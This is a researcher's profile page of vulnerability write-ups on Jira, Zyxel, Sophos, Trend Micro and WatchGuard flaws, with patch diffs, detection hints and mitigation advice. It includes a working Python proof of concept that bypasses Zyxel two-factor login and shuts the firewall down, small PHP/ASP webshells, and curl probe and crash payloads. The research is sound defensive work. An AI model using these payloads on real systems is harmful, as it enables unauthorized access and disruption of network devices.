jbaines-r7 (56)

Last Login: May 12, 2022
Assessments
19
Score
56

jbaines-r7's Latest (20) Contributions

Sort by:
Filter by:
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This vulnerability is an easy to exploit unauthenticated and remote OS command injection vulnerability. Please see the Rapid7 analysis for details.

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This is a very easy to exploit issue. See the Rapid7 analysis for details.

1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Low
Technical Analysis

On February 15, 2022, Atlassian released Jira Software updates to address CVE-2022-0540. On April 20, Atlassian finally published the CVE and released a security advisory detailing the issue. CVE-2022-0540 is an authentication bypass issue that appears to be improper access control on some endpoints. The vulnerable code exists in Jira core, but only affects downstream “apps” that integrate with Jira. Additionally, an app is only vulnerable if it does not take steps to independently “enforce additional security checks.” Jira cloud services are not affected.

Jira lists two of its own “bundled” apps as affected: Mobile Plugin for Jira and Insight – Asset Management. However, their FAQ also states that Mobile Plugin for Jira is not exploitable due to the aforementioned additional security checks and Insight – Asset Management requires both authentication and special permissions to exploit it. It appears that Atlassian based their CVSS3 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L) on the Insight – Asset Management attack case. Although, the score seems artificially inflated by use of S:C.

While Jira lists approximately 200 affected apps in their disclosure, we do not expect this issue to see widespread exploitation. The actual impact of the bypass is dependent on the functionality exposed by the app’s vulnerable endpoint. There may be a high impact vulnerable app, but the install base of specific apps is going to be significantly smaller than the Jira install base. Coupled with the fact that this issue has been fixed for more than 2 months, and cloud services are not affected, exploitation will be spotty at best (if at all).

Helpful Links

1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very Low
Technical Analysis

On March 29, 2022, Zyxel released a security advisory for an authentication bypass vulnerability affecting a handful of their firewall and VPN products. The vulnerability, assigned CVE-2022-0342, is described as allowing a remote attacker to obtain administrative access to the system, and was assigned a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

We believe widespread exploitation of this issue is unlikely. While there are a fair number of affected firewalls visible on Shodan, our analysis suggests that exploitation requires a specific configuration and partial authentication. Most firewalls will not be affected. There are currently no reports of this vulnerability being exploited in the wild, and, before this write-up, no public proof of concept existed.

Analysis

The most obvious change in Zyxel’s patch was this modification of the web server’s apache configuration file:

diff -u ~/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf ~/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf 
--- /home/albinolobster/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-01-04 01:24:55.000000000 -0800
+++ /home/albinolobster/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-03-14 13:26:04.000000000 -0700
@@ -24,7 +24,8 @@
 AuthZyxelRedirect /
 AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi \
 /libcdr_blockpage.cgi \
-/cdr_cloud_block_page.html \
+/libcdr_blockpage.html \
+/libcdr_cloud_blockpage.html \
 /2FA-access.cgi \
 /webauth_ga.cgi \
 /fbwifi_error.cgi /fbwifi/ \
@@ -40,6 +41,8 @@
 /ztp/ /ztp/cgi-bin/ \
 /change-expired-password.html /chg_exp_pwd.cgi ext-js/web-pages/login/chgpw_expired.html /ext-all.css /ext-all.js /appLite.js zld_product_spec.js /showCLI.js /zyVType.js /persist-min.js /zyExtend.js /zyFunction.js /zyComponent.js /language_panel.js /ext-lang-en.js /language.js /login.css /custmiz_page.js /chgpw_expired.js /retrieveData.js /MultiSelect.js /ItemSelector.js /cmdStore.js /favicon.ico /PagingStore.js /zyform.js /ext-theme-classic-all.css /content_line.gif /content_bg.jpg /login_img.gif /login_bg.jpg /advance_bg.gif /reset.css \
 
+AuthZyxelSkipTwoFaPattern /ext-js/app/view/object/authmeth/twoFA/2FAVerify.html /ext-js/ext/ux/grid/FiltersFeature.js /ext-js/app/view/object/authmeth/twoFA/2FAVerify.js /ext-js/ext/ux/form/field/BoxSelect/BoxSelect.js /ext-js/ext/ux/toggleslide/ToggleSlide.js /ext-js/ext/ux/toggleslide/Thumb.js /ext-js/ext/ux/grid/menu/ListMenu.js /ext-js/ext/ux/grid/menu/RangeMenu.js /ext-js/ext/ux/grid/filter/DateFilter.js /ext-js/ext/ux/grid/filter/BooleanFilter.js /ext-js/ext/ux/grid/filter/DateTimeFilter.js /ext-js/ext/ux/grid/filter/ListFilter.js /ext-js/ext/ux/grid/filter/NumericFilter.js /ext-js/ext/ux/grid/filter/StringFilter.js /ext-js/ext/ux/grid/filter/Filter.js /ext-js/ext/src/zy2FAVerifyForm.js /cgi-bin/zysh-cgi \
+
 ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
 
 AddHandler cgi-script .cgi .py

This change introduces a second level of authentication for when two-factor authentication (2fa) is used. Corresponding changes can be found in Zyxel’s custom Apache module mod_auth_zyxel.so and the Zyxel command line shell cgi zysh-cgi.

Zyxel’s firewalls support 2fa on the administrative web interface via Google Authenticator. Like most 2fa systems, the admin user must first correctly enter their username and password before being prompted for a 2fa verification code:

2fa

On Zyxel’s firewalls affected by CVE-2022-0342, the admin user can execute Zyxel shell commands by sending HTTP POST requests to /cgi-bin/zysh-cgi without completing the 2fa verification. The following proof of concept demonstrates this by logging in as the admin user and ignoring the 2fa redirect. The script sends POST requests to execute the Zyxel shell commands show version and shutdown.

import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Use session since the initial login will give us an auth-tok
sess = requests.Session()

login_url = 'https://192.168.1.1/'
login_data = { 'username':'admin','pwd':'labpass1','password':'labpass1','pwd_r':'','mp_idx':0 }
headers = { 'Origin':login_url,'Referer':login_url }
resp = sess.post(login_url, data = login_data, headers=headers, allow_redirects=False, verify=False)

if resp.status_code != 302:
    print('Unexpected status code')
    exit(0)

print(resp.headers)
print(resp.text)

# Just start issuing commands :shrug:
shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi'
shell_data = { 'filter':'js2','cmd':'show version','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)

print(resp.headers)
print(resp.text)

# Shut 'em down
shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi'
shell_data = { 'filter':'js2','cmd':'shutdown','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)

print(resp.headers)
print(resp.text)

Using this script against our affected test USG Flex 100 generates the following output:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Set-Cookie': 'authtok=o+F36szSDU7Q6fPAt2ExkMkvgLZIN7YMKtFM26MRm9NckniEVqSaw1zCL7Kpt2OV; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>
</body></html>

{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.20(ABUH.0)','_build_date':'2022-01-04 18:51:35','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

If you are reading this, the shutdown command failed.
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

After the second OK response, the firewall powers off, therefore demonstrating the 2fa bypass.

When the firewall has been patched, the attacker can still issue some commands to zysh-cgi but it appears critical commands like shutdown have been disabled. Here is output against the patched firmware version 5.21:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Set-Cookie': 'authtok=zv8CJ2l2SUbsO3FIoedxTs4i94-RdQauJEM9BzlW9PV67ttFqVLH6UhRAZwpJRQL; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>
</body></html>

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.21(ABUH.1)','_build_date':'2022-03-15 05:51:17','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

The cgi script still responds with OK but the shutdown is never actually executed.

Is that it?

With such a high CVSS score, it seems anticlimactic that the vulnerability is simply a 2fa bypass. It’s possible that we’ve overlooked a detail but, as far as we can tell, access to zysh-cgi requires a valid authtokand the firmware patch is almost entirely focused on this two-factor authentication mechanism. Zyxel included almost no other changes in this patch (interestingly the XSS didn’t get a CVE, but I believe you’ll find it in redirect.cgi):

changes

Zyxel’s method of disclosure does cause me to question if we’ve overlooked something though. The description they provided for this issue makes it sound like a critical vulnerability. They could have easily described this as a 2fa bypass instead of an “authentication bypass”, and therefore downplayed the criticality of the issue. But they didn’t. Are they just playing games with useless vulnerability descriptions (sadly the norm), or is there more to this issue than we’ve described? It could be that the 2fa bypass is simply a symptom of a more critical vulnerability. That wouldn’t surprise me, but I also don’t see it.

Conclusion

In this writeup we demonstrated an MFA bypass that was recently fixed by Zyxel firewalls. It’s reasonable to assume that vulnerability, at least in part, is CVE-2022-0342. While likelihood of exploitation of this particular issue is low, there are a number of things administrators should do to protect themselves from future Zyxel firewall vulnerabilities:

  1. Disable remote administration on the WAN interface
  2. Enable automatic update
  3. Enable two-factor authentication on the admin account
  4. Schedule weekly reboots of the firewall
2
Ratings
Technical Analysis

On March 25, 2022, Sophos published a critical security advisory for Sophos Firewall. The advisory details CVE-2022-1040, an authentication bypass issue affecting the firewall’s User Portal and Webadmin web interfaces. The bypass allows a remote and unauthenticated attacker to execute arbitrary code, resulting in a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Sophos has reported this vulnerability was “being used to target a small set of specific organizations primarily in the South Asia region.” There is no other public reporting confirming attempted public exploitation of this issue. No public proof of concept currently exists.

Although Sophos Firewall is fairly widely deployed (Shodan fingerprints ~50,000 instances of User Portal and ~1500 Webadmin), wide exploitation of this issue is unlikely. By default, Sophos Firewall automatically updates, and no public proof of concept exists. Both of these factors should keep exploitation down to a minimum.

The Patch

Sophos introduced two changes to address this vulnerability. This first was a change to web.xml to introduce a new filter on all requests.

albinolobster@ubuntu:~$ diff -u sophos_unpatched/webconsole/WEB-INF/web.xml sophos_patched/webconsole/WEB-INF/web.xml 
--- sophos_unpatched/webconsole/WEB-INF/web.xml	2022-03-28 10:57:23.841991165 -0700
+++ sophos_patched/webconsole/WEB-INF/web.xml	2022-03-28 10:41:47.757727685 -0700
@@ -12,6 +12,16 @@
 	</session-config>
 
 	<filter>
+        	<filter-name>RequestCheckFilter</filter-name>
+	        <filter-class>cyberoam.sessionmanagement.RequestCheckFilter</filter-class>
+	</filter>
+
+	<filter-mapping>
+	        <filter-name>RequestCheckFilter</filter-name>
+	        <url-pattern>/*</url-pattern>
+	</filter-mapping>
+
+	<filter>
 		<filter-name>SessionCheckFilter</filter-name>
 		<filter-class>cyberoam.sessionmanagement.SessionCheckFilter</filter-class>
 	</filter>

The second change was the introduction of the new filter RequestCheckFilter.class. The entire class is a bit long to fit here, but the interesting part for an unauthenticated attacker follows:

JSONObject jsonObject = null;
String mode = httpRequest.getParameter("mode");
String operation = httpRequest.getParameter("operation");
String dataGridId = httpRequest.getParameter("datagridid");
try {
  CyberoamLogger.debug("RequestCheckFilter", "mode: " + mode);
  CyberoamLogger.debug("RequestCheckFilter", "operation: " + operation);
  CyberoamLogger.debug("RequestCheckFilter", "dataGridId: " + dataGridId);
  if (request.getParameter("json") != null && mode != null) {
    operation = (operation == null) ? "0" : operation;
    dataGridId = (dataGridId == null) ? "0" : dataGridId;
    if (ALL_SESSION_CHECK_EXEMPTED_MODES.contains(Integer.valueOf(Integer.parseInt(mode))) || 
      isFilterRequired(Integer.parseInt(mode), 
        Integer.parseInt(operation), 
        Integer.parseInt(dataGridId))) {
      jsonObject = new JSONObject(httpRequest.getParameter("json"));
      if (!isvalidJSONKeys(jsonObject)) {
        redirectToLogin(httpRequest, httpResponse);
        return;
      } 
    } 
  } else {
    CyberoamLogger.debug("RequestCheckFilter", "JSON parameter not found in request payload");
  } 
  chain.doFilter((ServletRequest)httpRequest, (ServletResponse)httpResponse);

I’m going to skip over talking about all of the mode, operation, and datagrid values as it just complicates things. Generically, this logic examines the request’s HTTP parameters to determine if it needs to pass the attacker provided JSON into a method called isValidJSONKeys. Which looks like this:

private boolean isvalidJSONKeys(JSONObject jsonObject) {
    Iterator<?> jsonkeys = jsonObject.keys();
    while (jsonkeys.hasNext()) {
      String key = (String)jsonkeys.next();
      if (!isAsciiPrintable(key)) {
        CyberoamLogger.info("RequestCheckFilter", "JSON key with non-ASCII printable characters!  key = " + key);
        return false;
      } 
    } 
    return true;
}

This method is obviously looping over the keys in the attacker-provided JSON and validating the keys are made up of printable ASCII characters.

An unauthenticated and remote “attacker” can hit this code path relatively easily with a curl:

albinolobster@ubuntu:~/sophos_patched$ curl -v --insecure -H "X-Requested-With: XMLHttpRequest" -X POST 'https://10.0.0.19/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"🦞":"test"\}'
*   Trying 10.0.0.19:443...
* Connected to 10.0.0.19 (10.0.0.19) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: C=NA; ST=NA; L=NA; O=NA; OU=NA; CN=Appliance_Certificate_n7Rmy46scKRgK16; emailAddress=na@example.com
*  start date: Aug  1 00:00:00 2015 GMT
*  expire date: Dec 31 23:59:59 2036 GMT
*  issuer: C=NA; ST=NA; L=NA; O=NA; OU=NA; CN=Default_CA_n7Rmy46scKRgK16; emailAddress=na@example.com
*  SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway.
> POST /userportal/Controller?mode=8700&operation=1&datagrid=179&json={"🦞":"test"} HTTP/1.1
> Host: 10.0.0.19
> User-Agent: curl/7.74.0
> Accept: */*
> X-Requested-With: XMLHttpRequest
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 15 Apr 2022 14:59:50 GMT
< Server: xxxx
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=31536000
< X-Content-Type-Options: nosniff
< Content-Length: 15
< Cache-Control: max-age=2592000
< Expires: Sun, 15 May 2022 14:59:50 GMT
< Connection: close
< 
{"status":400}
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):

Note the {"status":400} response from the server. An unpatched server will respond a little differently:

albinolobster@ubuntu:~/sophos_patched$ curl --insecure -H "X-Requested-With: XMLHttpRequest" -X POST 'https://10.0.0.12/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"🦞":"test"\}'
{"status":"Session Expired"}

Since the patch induces a new response from the firewall, we can remotely detect patch status. You can try the same thing on the Webadmin interface and it too generates a slightly different response ({"status":"-2"} when unpatched).

Finally, it might be useful to know that exploitation attempts on a patched server generate the following log in /log/tomcat.log.

2022-04-15 15:59:50,877:INFO:RequestCheckFilter - URI: /userportal/Controller
2022-04-15 15:59:50,877:INFO:RequestCheckFilter - JSON key with non-ASCII printable characters!  key = 🦞

Summary

In order to address CVE-2022-1040, Sophos introduced a fairly small patch to filter the JSON content of some HTTP requests. Exploitation attempts will have non-ascii characters in the request’s json parameter’s JSON keys. If your Sophos Firewall is internet facing, it should absolutely have automatic update enabled (the default behavior). If you are in a situation where you can’t do that, you likely shouldn’t be using the internet facing features.

2
Ratings
  • Attacker Value
    Low
  • Exploitability
    Low
Technical Analysis

On March 29, 2022, Trend Micro released a security advisory for a remote code execution vulnerability affecting Apex Central. The vulnerability allegedly allows a remote and unauthenticated attacker to upload an arbitrary file resulting in code execution. Trend Micro assigned this vulnerability, CVE-2022-26871, a CVSSv3 score of 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H), which is largely inconsistent with remote code execution.

On March 31, 2022, Trend Micro updated their advisory to indicate they had observed “an active attempt of exploitation against this vulnerability in-the-wild … in a very limited number of instances”. At this time, there are no other public reports of successful exploitation or even exploitation attempts. No public proof of concept exploit exists.

While Trend Micro reports exploitation in the wild, widespread exploitation is unlikely. Largely because there are so few internet facing instances, that it would be a stretch to call anything affecting them widespread. Scanning for the software is hindered by the fact that requests to “/” do not forward to the application’s login page, and instead resolves to the default IIS landing page. However, using the default SSL certificate, Shodan shows less than 100 of these are online. Also, Trend Micro reports all SaaS instances were patched on March 9, 2022 (20 days before disclosure).

Assumptions

Unfortunately, the description of CVE-2022-26871 provided by Trend Micro does not contain the actual attack vector:

An arbitrary file upload vulnerability in Trend Micro Apex Central could allow an unauthenticated remote attacker to upload an arbitrary file which could lead to remote code execution.

Apex Central is much more than just a web server. It’s composed of multiple binaries, a number of which are listening for remote connections.

prcomon

There are two hints that the arbitrary file upload issue is in the web server though. The first is thanks to the product advertisements they’ve placed in their advisory. One IPS rule specifically calls out “HTTP” in the name.

ad

The other hint is in the CVSSv3 vector that Trend Micro created. Every part of Apex Central is running as NT AUTHORITY\SYSTEM except the web server. The web server is configured via IIS to run as NT AUTHORITY\NETWORK SERVICE. I assume that Trend Micro used this lower privileged user to justify the scores of C:L and I:L.

Although, if that is the case, that is absolutely incorrect. C:L and I:L are reserved for cases where no “direct, serious” impact/loss occurs. Attacker execution as NT AUTHORITY\NETWORK SERVICE is C:H and I:H as it does allow an attacker to affect “direct, serious” impact/loss.This is still true even if the attacker is NT AUTHORITY\iusr (see below). It is not lost on the writer that the published vector is scored 8.6 (high) and not 9.8 (critical) as it appears it should be. Of course, there may be mitigating factors to justify the lower score, but those details aren’t offered anywhere in the scant advisory.

Assuming the vector is the web server also leads me to assume the uploaded file is a web shell. This could be completely wrong, but Trend Micro offered no CWE or any other insight so it’s a reasonable starting point. Apex Central’s web content uses ASP, PHP, and compiled exe/dll cgi so there is opportunity for a webshell. However, I also assume that directory traversal is required. Some (not all) of the uploaded content will be placed in an App_Data directory, but executing PHP/ASP out of this path is denied.

denied

But if the attacker can escape upwards, they are free to execute their webshell.

yaass

It’s also important to note that Apex Central is strict about file extensions. This is not a scenario in which we can upload r7.gif and still execute PHP. The extensions have to be correct or they won’t be executed:

C:\Users\albinolobster>curl --insecure https://192.168.1.237/webapp/r7.gif
<?php echo(exec("whoami")); ?>

C:\Users\albinolobster>curl --insecure https://192.168.1.237/webapp/r7.png
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>

In summary, I assume this arbitrary upload vulnerability is a webshell upload where the attacker controls the file path (either absolutely or via path traversal) and the file extension of the created file.

Hunting for the Vulnerability

We were able to acquire two versions of on-prem Apex Central in order to hunt for CVE-2022-26871: the recently patched “Build 6016” and a much older “Build 3752”. The large time gap between versions does not work in our favor, but it’s enough to start with.

The obvious starting point is to find the locations where file upload is allowed, but this is where things start to go off the rails. While there are many places that implement file upload functionality, they largely seem to require authentication. There are a couple of PHP files that allow upload via $_FILES, but they are strict on the file extension and don’t appear to move the file out of upload_tmp_dir which is configured as C:\Program Files (x86)\Trend Micro\Control Manager\PHP\upload_tmp_dir, a path that is outside of the webroot. Here is an example of one of the unexploitable PHP file uploads (https://host/webapp/widget/repository/widgetPool/wp1/widgetComponent/comEEFDE/tmee/uploadfile.php):

<?php

if(isset($_FILES['image']))
{
    $allowed_ext= array('jpg','jpeg','png','gif');
    $file_name = $_FILES [ 'image' ] [ 'name' ] ;
    $file_ext = strtolower( end(explode('.',$file_name)));
    $file_size=$_FILES['image']['size'];
    $file_tmp= $_FILES['image']['tmp_name'];

    $type = pathinfo($file_tmp, PATHINFO_EXTENSION);
    $data = file_get_contents($file_tmp);
    $data = base64_encode($data);

    if(in_array($file_ext,$allowed_ext) === false)
    {
        $error_Msg ='ext_not_valid';
    }
    else if($file_size > 131072)
    {
        $error_Msg = 'size_too_big';
    }
    else
    {
        $error_Msg = 'success';
    }


    $json_data = array("errorMsg"=>"");

    $json_data["errorMsg"] = $error_Msg;
    $json_data["base64"] = $data;

    $json_data = json_encode($json_data);
    header("Content-Type: text/html; charset=utf-8");
    echo rawurlencode($json_data);
}

?>

Apex Central is also fairly meticulous about catching directory traversal issues. In fact, the diff between the two versions that we have showed the developers introducing traversal checks in places that already had traversal checks. The image below shows WebApp/html/suspiciousObjects/ImportFileHandler.php. Note the original on the left already uses the isDirectoryTraversalOrInvalidExtension call to both check for path traversal and ensure the file extension is csv (ruling out exploitation), but they also add an additional traversal check on the right.

double

This is actually a recurring theme throughout the code base. It’s almost as if someone was assigned the task of applying additional “..” logic to every user controlled filename, and carried out that task whether it was needed or not (which, honestly, isn’t the worst thing). Although some places really did need it. From sCloudService.cs (although this required authentication):

good

The code base is also fairly good about not using attacker provided file names, and instead preferring hashes or GUID. Here is an example from YARA file upload where the name and contents are hashed to generate a new filename before the file is dropped to disk for validation by yara.exe (from WebAPIIOCsUtility.NET.dll):

namehashing

Throughout the code base, these three conditions (unauthenticated, traversal, and file extension control) appear to be kept in check by the developers. Using the two versions we have I was unable to pinpoint a vulnerable location. It could be that our old version is too old, and we were doomed from finding the vulnerability from the beginning. Trend Micro did not say which versions, specifically, were affected so it’s hard to know. It could also be that I’ve overlooked the issue. Or it could be that my original assumptions were bad. Regardless, I didn’t find the issue, but hopefully this is useful to someone.

Summary

While I didn’t find the vulnerability myself, nor does Trend Micro give solid information on how to identify potential exploitation, I think you can reasonably assume the following things will aid in preventing or catching exploitation:

  • Keep the system away from the internet.
  • Patch if possible.
  • Monitor for web shell creation in the C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp and it’s subdirectories.
  • Monitor from malicious behavior originating from w3wp.exe (IIS Worker).
1
Ratings
  • Attacker Value
    High
  • Exploitability
    Low
Technical Analysis

It’s currently difficult to assess the exact value of this vulnerability because we don’t know how common the vulnerable configuration is. We might not even be aware of all the vulnerable configurations at this time. See the Rapid7 analysis for additional details.

1

On March 27, 2022 a proof of concept was posted to GitHub. Using the proof of concept, I was able to generate a minimized “crash” proof of concept with curl:

curl -v --insecure -d "<methodCall><methodName>login</methodName><params><param><value><struct><member>" https://10.0.0.11:4117/agent/login

As I guessed above, this also works against the default administrative web interface (port 8080 on XTMv). Both 4117 and 8080 reply with the same “502 Bad Gateway” upon crash:

albinolobster@ubuntu:~$ curl --insecure -d "<methodCall><methodName>login</methodName><params><param><value><struct><member>" https://10.0.0.11:8080/agent/login
<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
</body>
</html>

There are two other things worth noting:

  1. The /login endpoint is also vulnerable on port 4117, so don’t key off of /agent/login.
  2. Compressing the payload is not required to exploit the target.

There are some useful indicators if the attacker doesn’t clean up after themselves. First, in the administrative webui’s “Front Panel” dashboard, the “System” overview on the right will contain the number of “Fault Reports” the system has had. These are crash reports. Below you see I have three on my system. On my XTMv install, the maximum number is 3.

overview

If you click through the “Fault Reports” or just navigate to the “Diagnostics” page, you’ll see a listing like the below indicating crashes in wgagent.

crash

On the same page, click the Download a Support Log File and download a support .tar.gz. You’ll find stack traces in /support/debug_log using names such as wgagent.x.stacktrace, where x is a number 1-3.

          Watchguard Crash Report
---------------------------------------------


Appliance time: Mon Mar 28 14:16:48 2022 GMT (UTC+0000)
Process `wgagent' with pid: 2163 / tid: 2163 died unexpectedly on signal 11
  faulty address is 0x0000000000000000, from 0x00007f9047dc61d1


Stack Trace:
 =>  0: 0x00007f9047dc61d1, in module libc.so.6@0x00007f9047ca4000
     1: 0x00007f9048a7cc61, (signal_sigaction+0x1b1), in module libsignal.so@0x00007f9048a79000
     2: 0x00007f904bc1f040, in module libpthread.so.0@0x00007f904bc0f000
     3: 0x00007f9047dc61d1, in module libc.so.6@0x00007f9047ca4000
     4: 0x000000000040573b, in module wgagent@0x0000000000400000
     5: 0x000000000040a774, in module wgagent@0x0000000000400000
     6: 0x000000000040faa7, in module wgagent@0x0000000000400000
     7: 0x00000000004140c7, in module wgagent@0x0000000000400000
     8: 0x00007f904c25408b, in module liblistener.so@0x00007f904c252000
     9: 0x00007f904c25303c, (ListenLoop+0x275), in module liblistener.so@0x00007f904c252000
    10: 0x0000000000414f64, in module wgagent@0x0000000000400000
    11: 0x00007f9047cc5bb5, (__libc_start_main+0xf5), in module libc.so.6@0x00007f9047ca4000
    12: 0x0000000000405179, in module wgagent@0x0000000000400000
1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Technical Analysis

Edit on March 28, 2022: On March 27, 2022 a proof of concept was posted to GitHub. I’m leaving the original analysis below and will add a reply comment with some additional information.

Introduction

On March 17, 2022, GreyNoise published WatchGuard CVE-2022-26318 RCE Detection, IOCs, and Prevention for Defenders. The writeup details GreyNoise’s observation of in-the-wild exploitation of CVE-2022-26318. This is particularly interesting for a few reasons:

  1. The affected WatchGuard products, FireBox and XTM, are firewall/VPN solutions. Making them obvious and delicious targets for attackers.
  2. There are a couple hundred thousand of these on Shodan.
  3. There is no public exploit for CVE-2022-26318. GreyNoise’s limited description is, by far, the most detailed publicly available description of what an exploit for this vulnerability might look like.
  4. CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI. Neither WatchGuard nor the various government agencies explicitly say the vulnerability is related, but it was the only unauthenticated, remote code execution issue patched at the same time as the Cyclops Blinked publication so it seems like a reasonable assumption.

The lack of proof of concept, or really any useful information about the vulnerability, is unfortunate. The CVE description provides no information about the attack vector or even what the vulnerability class might be. NVD currently has the CWE assigned as “NVD-CWE-noinfo” or “Insufficient Information”:

nvd

